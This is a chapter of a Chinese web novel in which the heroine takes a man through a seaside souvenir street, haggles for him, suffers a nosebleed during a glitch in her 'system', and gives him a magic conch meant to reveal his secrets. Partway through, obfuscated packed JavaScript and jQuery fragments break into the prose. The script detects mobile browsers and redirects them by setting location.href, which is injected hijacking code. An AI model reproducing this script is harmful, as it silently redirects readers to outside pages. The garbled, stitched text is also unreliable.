第 158 章 衰运omega(五十三)
作品:《攻略失败,但修罗场》 第158章衰运omega(五十三)
【鸟毛珠子和神奇海螺】
坐标:海螺风铃街。
事件:阻止购物狂。
人物:蒋雷,宋梅梅。
不是。
人物:蒋逢玉,宋舒延。
本来宋临遥也是在的,但街对口有个玩火的老太支摊,她表面图新鲜,实则为腾出空间给蒋逢玉大展身手,不声不响带着勤能补拙跑路了。
港湾的夜晚和鞎川差别很大,宋舒延这么说的时候,蒋逢玉不以为然。
“只是乍一看新鲜而已。”蒋逢玉随手指了几家摊子,“仔细观察下来,卖的东西大差不差,首都也常见,只是价格比起这里稍高些。”
宋舒延坚持认为差别很大,蒋逢玉就由他去。早些时候,他说宋父买了一堆没用的小玩意,现在买没用小玩意的人变成他自己,基因和耳濡目染究竟是谁起到决定性作用,一时间说不好。
风铃街位于港湾区统一规划的景点带正中,红墙石屋,装饰性的烟囱全漆成萝卜缨子一样的绿,珊瑚珍珠海螺琳琅摆出一整条街,粗看流光溢彩精美炫目,细看则工艺略显狂放,不值得入手赏玩。
有这一层因素在,来这一带逛的旅客大多只为拍照留念,宋舒延混在其中像怪咖。
有风吹过去,绿棚门顶挂着的贝母风铃摇晃,各门各户叮铃当啷响作一片,入耳清脆。
蒋逢玉怀疑宋舒延是混着点狗的天性,会响会叫会飞会跳的都感兴趣,嘴巴挑剔归挑剔,掏钱一点不含糊。
狗人起了兴走得快,蒋逢玉落在后面几步,夜里出门前没带上外套,风一招呼就冷起来,她打了个喷嚏,再抬头时,宋舒延已经站到商屋前端详风铃。
他伸手轻轻拨弄风铃下坠着的彩色绒羽,转头垂眼看向蒋逢玉:“这和风铃有什么区别?”
蒋逢玉吸了吸鼻子,随口答:“这就是风铃。”
宋舒延挑眉,拈起标签给她看,“上面写的是捕梦网。”
店主从小马扎上站起来,扑着蒲扇咧嘴,一颗银牙晃得眼亮,带着蛊惑人心的笑开口,“帅哥搞一个,这个漂亮的。”
宋舒延问:“怎么卖?”
店主提着裤腿矮下去,稳坐如山,眼睛在宋舒延脸上来回扫视,“小的250大的400,两件九折。”
活生生的二百五就站在摊子前面。
这就叫宰冤大头。
宋舒延浑然不觉,挑挑拣拣拎下个大的蓝毛土星环,伸手掏兜就要结
账,蒋逢玉看不下去,眼疾手快捉住他的小臂阻拦,朝店主扬扬下巴,比了个一。
店主用蒲扇柄挠头皮,“那不能,别跟我开玩笑,附近哪有卖这个价的?
蒋逢玉拧住宋舒延肘侧皮肉,制止他乱动,手指轻敲玻璃台面,“鸟毛珠子都不是值钱的东西,一百拿个小的回去玩玩都亏,不卖就算。
店主挣扎:“两百你拿个小的走。
蒋逢玉摇头:“一百够你赚。
杀价不算她的特长,星币和她所熟悉的货币购买力也有出入,但蒋逢玉按照基本套路来回推拉,假模假样牵着宋舒延转身就要走,店主嘟囔着妥协,“第一次来啰,给你就给你。
由此可见手工制品行业之暴利商机。
宋舒延拎着蓝毛没动,似乎没反应过来,蒋逢玉轻车熟路从他衣兜里摸出钱夹,掏卡结账行云流水。
“走了。
宋舒延反射性地接住她抛回来的钱夹,磨磨蹭蹭跟上来。
蒋逢玉翻看被宋临遥走前硬塞来的必逛景点名录,风铃街逛过了,隔着片码头的大排档夜市也去过了,宋舒延挑嘴不怎么喜欢海产,基本不动筷。
“你还有什么想逛没?她端着杯鲤鱼跃龙门刨冰,和上头那只死不瞑目的雕刻红鱼四目相对,边走边看还得提防冰水顺着腕口往袖子里滑。
宋舒延分了心在逗花鸟摊子原木笼框里的八哥,那鸟聪明得很,人说一句它跟一句,他喊蒋逢玉来看,它有样学样,一把烟嗓懒懒道:“蒋逢玉,你来看。
蒋逢玉走过去,打了个喷嚏,它也学拟声词,啊啾啊啾没完没了,挺招人烦。
“活体上飞机需要额外办理托运手续,还得等申请文书下来。
宋舒延逗弄八哥,“没打算买,我爸怕禽鸟。
蒋逢玉轻哂,宋父怕禽鸟,却给定情舞取个鸟名,保不准那斑鸠暗藏什么玄机。
支着旅游团小花旗的大部队浩浩荡荡穿过来,小蜜蜂刺啦响动的电流声很大,蒋逢玉被人从花鸟摊前挤开,手里还揪着朵鹅黄色香雪兰。
她摇摇晃晃在游街对面站稳,大嗓门的导游走了,紊乱的电磁声却还残留着。
盈盈亮着的空白字框闪了几下,随后消失,整条街都暗下去,只有卖文创香薰烛火的门店前头最亮堂。
海地人用乡言嚷嚷着说停电了,小孩的尖叫不知从哪里冒出来,紧跟着家长的斥责和制止。
蒋逢玉在原地打转,四面八方都看,盗版
系统最近出岔子的频率颇高,尽管不明缘由,但她总忍不住要想,离开的日子可能近在眼前。
耳旁嗡嗡作响,脑子一坠一坠地发沉,旅游团早不知道散去哪里,小蜜蜂的威力不至于这样惊人,这种感觉似曾相识。就在蒋逢玉脱口而出‘S001’的同时,突兀地哔啵一声骤响,像木头被锯断。
胀坠感消失,任务框重新出现。
远近处的路灯忽明忽暗,极不稳定似的,有那么几盏彻底报废,还有小部分顽强地挺立着。
蒋逢玉咬住勺子夹住传单,空出手去擤鼻子,腔道里有液体滑了下来,她在流血。
略显慌乱仓促的脚步在几步开外平缓下来,她盯着染了红的手指看,眼前又黑下去,阴影怪把她手里的刨冰盒子和传单都抽走,剩根勺子叼得紧,宋舒延没收失败。
蒋逢玉放下手,丢开勺子,顶着一行缓缓流下的鼻血说:“现在你开心了吧,我得绝症了。
“死之前,我没有别的心愿。她顽强地朝宋舒延使眼色,“你懂的。
宋舒延皱着眉掏纸,伸手给她擦脸又擦嘴,他捏住她鼻梁下缘,让蒋逢玉别一天到晚张口就胡说八道。
两团纸巾堵在出气孔,流血的堵住了,没流血的也一视同仁,蒋逢玉口呼吸,又要说话又要生存,忙不过来。
“你怎么知道我胡说?蒋逢玉摇头,“事出反常必有妖。
宋舒延把她手指上蹭到的那抹血斑也擦干净,埋着头一言不发,他在这时候开始体谅楼珩的毛病。
大约对楼珩而言,被污染的所有东西都和他眼中流鼻血的蒋逢玉一样,是没有办法忍受的。
宋舒延把脏污的纸巾都丢开,抬手扯起衣领,“明知道夜里风凉还不多穿衣服,鼻血要是知道自己被当成是绝症,恐怕要起诉告你诽谤。
蒋逢玉摸索两下,顺着套来的帽衫开口钻出脑袋,宋舒延刚把剩了大半的冰盒和印刷错误数不胜数的传单扔掉,举着那朵发蔫的香雪兰问:“你喜欢这个?
“一般。蒋逢玉有些忌惮那香气,一不留神就会让她想起顾名尧,她摆摆手说,“刚才人多,场面又乱,被挤走的时候不小心掐下来的。丢了吧。
帽衫袖子稍嫌长,不过为起个保暖的作用,这点长无关紧要。蒋逢玉把袖口翻好,掀起眼皮时发觉宋舒延的手指快要戳到她额头,很难说没吓一跳,立刻灵活地闪躲开,没给他一点实施歹念的机会。
宋舒延的手僵在半空中几秒,原路拐回去,没半道又生硬地折回来,往
她脑门上胡乱搓两把,捻着被风吹散的头发向边上拉。
蒋逢玉被扯得头皮一紧,她还没说什么,他倒一顿,力度放轻,假咳起来,“不小心的。”
她宽容大度地不和他计较,照着电子地图找路,宋舒延把哈欠打得夸张,听得出有在装的成分,她顺着他的意思问:“困了?”
宋舒延把套衫给了她,剩件单薄的长袖,领口是凹形开叉的不对成设计,细细的银色锁骨链在风里应景地摇晃一下。
他站她面前,偏着头不知道打量什么,闻言拖长语调,答非所问:
“冷死了。”
冷死是大事,发困是除冷死以外另一桩大事,哪样都不容小觑,蒋逢玉引以重视,那么打道回府就变成头等大事。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15192204|122537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
宋临遥带着勤能补拙和家长碰头去了,蒋逢玉站路边拦了辆红壳子的士,回程的路不算短,宋舒延趴在窗边看风看树看马路,她也闲下来,对着他半边后脑勺出神。
蒋逢玉开始清点盘算手里的那些奖励。
粗略统计下来,口碑值已经将近九十,碎片约莫十五六张,还有零星几张指定碎片,统统不知道能派什么用场。
契合度……随它去。
技能类的,医生滚和艺术嘴还算有效工具,刽子手和冷酷男都没发挥空间,一个是犯法,一个是对象不够格。
道具里头,向日葵免谈,除真心话糖丸和大冒险奶片外,她这几天又靠攒下来的盲盒奖励开出一只‘秘密海螺’,也是初级道具,使用次数2。
据管理员描述,晚上睡觉把这东西放在目标人物的枕边,第二天拿回来灌点水喝下去,她就能知道对方的秘密心事。
听起来很作弊,但起作用的概率非百分百,得到的信息没准也是无关紧要的那一类,赌运气的成分较大,蒋逢玉不确定是否要给它升个级。
道具和技能、属性,都还算直观,皮肤类和其它相比都更特殊。
换个身份就相当于重头再来,先前的努力和进度都白费。除非脑子出问题自找麻烦,或者攻略过程中犯了大错需要重新开始,这些皮肤都会烂在背包库里。
除非……还有第三种可能。
关卡一结束后,校园色魔身份就会到期注销,而盗版系统,大巴掌,自称管理员的那东西,需要她套个新壳子,去接近新目标。
真是命运多舛的一次差旅。蒋逢玉把两团早已干涸的纸巾摘出去,忙里偷闲给自己罗列索赔条款。要是回得去,她要把公司告到死。
的士在酒店外停下,宋舒延结
清费用,红壳子小车一溜烟跑走。
蒋逢玉恪尽职守,进屋前按每日惯例提留宿,这一回还拐弯抹角些,以防再吃一张黄牌。
宋舒延接过她还来的帽衫,柔软亲肤的布料还残余体温,不是他的,却和他相差无几。
“我不会勉强你。”蒋逢玉强调,“你明白我的意思。”
宋舒延不说话,过了会儿把背在身后的另只手伸过来,指尖勾着那只土星环捕梦网。
“知道了。”他模棱两可地回,“这个,借放在你那儿。别丢了,我还要拿回来的。”
莫名其妙。
蒋逢玉盯着他进门,宋舒延知道她在看,没回头,门板严丝合缝地闭上,心却静不下来。
他虚倚在门口,垂着眼睛掏出扁木盒,手指在薄薄的锁片上停留很久。
得偿所愿、无往不胜。
门铃突兀地响起,木盒摔下去,磕伤一个角,锁片翻倒,盖子一下敞开,嵌着玉的皮绳掉了出来。
宋舒延来应门的时候,脸上带着点不自然的神色,他和蒋逢玉对视一眼,心虚地别开头,像干了什么坏事,声音低低沉沉,“还没睡呢。”
蒋逢玉把身后藏着的硕大一只蓝彩螺掏出来,递他跟前。
“这什么?”
“神奇海螺。”蒋逢玉真假掺半地回他,“给你买的,回房间收拾东西才想起来。”
“晚上放枕头边上,睡眠质量能显著提升。”
蒋逢玉端着海螺进门,径直走向床边,把用了张升级卡身价立涨的中级道具端端正正摆在枕边,叮嘱道:“睡觉规矩点,小心别给我弄坏了,明天我还要拿回来。”
可能是为这么个海螺,也可能是为那条被磕出裂缝的玉像颈圈,宋舒延接连不断地做起怪梦。
第一重梦,蒋逢玉和他退了婚,身边有了别人,看不清面孔,他只能凭感觉去猜,有时候是omega,有时候是alpha,好像也到了谈婚论嫁的地步,她再没来找过他。
第二重梦,他的身边从没有过未婚妻,没有过名叫蒋逢玉的人,他按部就班地生活,而后某天陡生变故,双亲先后过世,资产抵押变卖,胞妹为查证真相失踪,一家四口只剩下他。
第三重梦,他从没存在过。双生胎变成独生女,蒋逢玉变成普通人,没人记得他。
作者有话要说
出工!